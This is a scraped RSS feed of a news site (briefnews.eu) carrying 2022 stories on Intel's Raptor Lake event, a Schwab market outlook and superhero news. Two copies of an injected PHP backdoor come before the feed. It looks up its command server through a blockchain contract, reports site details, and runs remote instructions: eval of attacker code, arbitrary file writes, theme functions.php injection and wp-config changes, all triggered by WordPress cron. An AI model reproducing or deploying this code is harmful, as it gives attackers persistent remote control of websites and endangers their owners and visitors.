// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); more – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 27 Sep 2022 16:33:17 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png more – Brief News https://briefnews.eu 32 32 Intel Innovation 2022: live coverage of Raptor Lake launch and more https://briefnews.eu/intel-innovation-2022-live-coverage-of-raptor-lake-launch-and-more/ https://briefnews.eu/intel-innovation-2022-live-coverage-of-raptor-lake-launch-and-more/#respond Tue, 27 Sep 2022 16:33:17 +0000 https://briefnews.eu/intel-innovation-2022-live-coverage-of-raptor-lake-launch-and-more/ It’s hardware season, and Intel is up to bat next. The company is hosting its next Intel Innovation event, and the focus at today’s event is expected to be on its next desktop processors, the 13th-gen Raptor Lake.

These highly anticipated new chips are the sequel to last year’s 12th-gen Alder Lake, which represented a massive sea change in the world of Intel chips. With the adoption of a higher core count, “hybrid” processors resulted in some impressive leads over the competition. But with AMD’s strong showing in Ryzen 7000, the pressure is back on Intel to deliver the performance needed to stay on top.

The event is going to touch on far more than just these new processors, though. With over 100 sessions slated for the two-day conference for developers and partners, the keynote is only the tip of the iceberg — but it’s the part that PC enthusiasts will be paying the most attention to. Intel CEO Pat Gelsinger is expected to kick off the presentation, which begins at 9 a.m. PT and can be livestreamed from Intel’s website.

LiveLast updated September 27, 2022 9:29 AM

Luke Larsen
8 minutes ago

Gelsinger throws shade at GPU pricing
intel innovation 2022 raptor lake launch live coverage screen shot 09 27 at 9 19 06 am

Gelsinger has brought up a colleague on the stage to showcase her career, but let’s just mention what Intel is doing with the Arc 7700.

Luke Larsen
8 minutes ago

Intel's graphics get the spotlight
intel innovation 2022 raptor lake launch live coverage screen shot 09 27 at 9 16 21 am

Conversation around graphics is up next. Gelsinger mentions that graphics has always been a passion of his, and now that he’s back, he wants to finish. He has announced the Intel Data Center GPU Flex, and held the product up for display. Next, Gelsinger showcased the Ponte Vecchio for high-powered supercomputers, and ended with the Arc A770 card for gamers. Gelsinger says reviews are already being shipped out to reviewers.

Luke Larsen
17 minutes ago

The Systems Foundry recipe, UCIe
intel innovation 2022 raptor lake launch live coverage screen shot 09 27 at 9 49 am

Gelsinger is talking about everything that’s needed to drive forward the future of compute. In addition to the four major talking points, Gelsinger is touching on UCIe, the Universal Chiplet Interconnect Express, an open standard that all major foundries have agreed to. Short videos clips of Samsung and TSMC were shown, pledging their partnership in supporting UCIe.

Luke Larsen
21 minutes ago

Moore's Law is alive and well
intel innovation 2022 raptor lake launch live coverage screen shot 09 27 at 9 08 37 am

Gelsinger is speaking about the ubiquitous technological superpowers of the modern world, even using his own hearing aid that he pulled out of his ear as an example. He’s moving on to compute as the example of Intel’s contribution to this technology, proudly stating that Moore’s Law isn’t dead, as other companies have claimed. Gelsinger says Intel wants to be the stewards of Moore’s Law. Intel has put its roadmap of nodes on the screen to remind us of how aggressively the company is pushing ahead with nodes.

Luke Larsen
27 minutes ago

CEO Pat Gelsinger kicks things off
intel innovation 2022 raptor lake launch live coverage screen shot 09 27 at 9 01 23 am

After a delightfully old-school introduction, CEO Pat Gelsinger has taken to the stage in front of the live audience. This is the first tech event that feels like the tech events of the old days, and it’s giving me the warm fuzzies of nostalgia.

This page will be updated with live announcements and commentary, so make sure to visit and refresh the page for all the latest info.

]]> https://briefnews.eu/intel-innovation-2022-live-coverage-of-raptor-lake-launch-and-more/feed/ 0 Stocks may rally if global central banks ease up on rate hikes, but inflation could rebound and spark more volatility, Charles Schwab says https://briefnews.eu/stocks-may-rally-if-global-central-banks-ease-up-on-rate-hikes-but-inflation-could-rebound-and-spark-more-volatility-charles-schwab-says/ https://briefnews.eu/stocks-may-rally-if-global-central-banks-ease-up-on-rate-hikes-but-inflation-could-rebound-and-spark-more-volatility-charles-schwab-says/#respond Tue, 27 Sep 2022 16:00:27 +0000 https://briefnews.eu/stocks-may-rally-if-global-central-banks-ease-up-on-rate-hikes-but-inflation-could-rebound-and-spark-more-volatility-charles-schwab-says/ new york stock trader exchange

Spencer Platt / Getty Images

  • There are good, bad, and ugly outcomes for the stock market as inflation continues to weigh, Charles Schwab warned.
  • Though inflation is coming down, it could easily rebound if central banks begin cutting too soon.
  • "This whipsawing pattern may support a continued environment of volatility and wide market swings as seen this year," the bank warned.

Stocks could spin three ways as inflation begins to cool, Charles Schwab analysts said in a note on Monday, outlining a good, a bad, and an ugly outcome for the market.

The good: stocks could rally as central banks ease up on rate hikes. The bad: inflation could rebound and set off even more volatility. The ugly: central banks will stay hawkish and send stocks lower.

The Fed just issued its third 75-point rate hike this year, and the European Central Bank has also hiked by an unprecedented 75 points, causing stocks to recoil in volatility.

A good outcome

If inflation continues its slow descent, markets could rebound on hopes that aggressive rate hikes will end, Schwab said. US inflation cooled slightly to 8.3% in August from 9.1% in July, sparking talk that inflation may have peaked.

Some central banks have already indicated they may be nearly done with hiking rates: Brazil's central bank stopped hiking in August, and Norway's central bank suggested its most recent 50-point rate hike could be its last, or close to it, analysts said.

"Should inflation begin to recede significantly around year-end due to a softer labor market and easing housing inflation … markets may rebound on prospects for an end to the aggressive rate hikes of 2022," analysts said. They noted though that economic growth could be slowed, as demand will take a time to pick up again, and central bankers are likely to remain cautious for any rebound of inflation.

A bad outcome

But inflation could come back, if central banks ease too soon, Schwab warned. The global policy rate for developed markets excluding the US is still low historically and remains "deeply negative" — even lower than the rate that preceded the Great Recession in 2008, analysts said.

"If central banks respond to a weakening labor market and stop hiking too soon or cut rates while the real policy rate is still firmly negative, there's a chance inflation may rebound. If it does, even higher rates may be needed to quell inflation," the note said.

That would be a repeat of the 70s and 80s when central bankers pivoted monetary policy too quickly, leading to a "whipsaw" effect in stocks.

"This whipsawing pattern may support a continued environment of volatility and wide market swings as seen this year," the bank warned.

The ugly outcome

And then, there's the possibility that central banks will actually do what they say and stay hawkish until inflation is dead. In that scenario, expect another year like 2022, Schwab said.

"Stocks would have further to fall with both price-to-earnings (PE) ratios and earnings contributing to declines; any prospect of a deep recession would likely force analysts to cut earnings estimates," analysts warned.

Read the original article on Business Insider

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]]> https://briefnews.eu/stocks-may-rally-if-global-central-banks-ease-up-on-rate-hikes-but-inflation-could-rebound-and-spark-more-volatility-charles-schwab-says/feed/ 0 Superhero Bits: John Cena Is A Real Superhero, Dardevil’s Place In The MCU & More https://briefnews.eu/superhero-bits-john-cena-is-a-real-superhero-dardevils-place-in-the-mcu-more/ https://briefnews.eu/superhero-bits-john-cena-is-a-real-superhero-dardevils-place-in-the-mcu-more/#respond Mon, 26 Sep 2022 23:24:54 +0000 https://briefnews.eu/superhero-bits-john-cena-is-a-real-superhero-dardevils-place-in-the-mcu-more/

(Superhero Bits is a collection of stories, updates, and videos about anything and everything inspired by the comics of Marvel, DC, and more. For comic book movies, TV shows, merchandise, events, and whatever catches our eye, this is the place to find anything that falls through the cracks.)

In this edition of Superhero Bits:

  • Early box office tracking for “Black Adam.”

  • New insight on how Daredevil fits into the MCU.

  • John Cena achieves real-life superheroic status.

  • Todd McFarlane on a Spider-Man/Spawn crossover.

  • All that and more!

Will Todd McFarlane Ever Make A Spawn And Spider-Man Crossover?

We recently learned that a brand new “Spawn” and “Batman” crossover series is coming later this year, with Todd McFarlane partnering with Greg Capullo on the book. But what about Spider-Man? Will McFarlane make his most legendary creation crossover with the web-slinger in the pages of Marvel Comics? In speaking with Bleeding Cool on that very topic, McFarlane made it seem unlikely, given his limited amount of time.

“On Batman/Spawn, Greg is doing the heavy lifting… it would be an abundance of time on my part. I would just have to find it and I just I don’t have that… so my guess is I’ll probably either go to my grave never doing it, or I’ll hold out until I have time.”

In short, don’t hold your breath on that one, comic book fans.

The CW Releases A New Stargirl Season 3 Trailer

We are currently right in the heart of “Stargirl” season 3 on The CW and, while the network typically releases promos each week for the individual new episodes, they have released a new trailer covering the rest of the season. The video gives us a glimpse at what’s to come for the hero and the Justice Society in the rest of the season. Will it be her last though? That still remains to be seen, but let’s not get too ahead of ourselves in that department.

Nikolas Draper-Ivey Says To Be Patient About The Static Shock Movie

What’s going on with that “Static Shock” movie? Has it been canceled like “Batgirl”? Is it going to go to theaters instead like “Blue Beetle”? The brass at Warner Bros. have been very quiet but Nikolas Draper-Ivey, who has written the character for DC Comics, is asking fans to exercise some patience on the matter. “Stop speculating about the Static movie. Don’t worry about those articles and be patient. I will not elaborate on this any further,” Draper-Ivey said on Twitter. So, it seems any speculation in the media right now may be unwarranted. This does not sound like a message one shares if the movie were in danger. For now, patience it is.

Marvel Is Partnering With Arizona Iced Tea For A Super New Drink

While the companies are keeping tight-lipped right now, the above teaser from the Arizona Iced Tea social media accounts indicates that they have partnered with Marvel for a brand new beverage. But not just any beverage! One capable of superheroic levels of thirst-quenching. What is Super LXR Hero Hydration? When will we be able to guzzle some down for ourselves? Details are limited currently but stay tuned, fans of delicious drinks and superheroes.

Black Adam Is Tracking For A Solid Debut At The Box Office

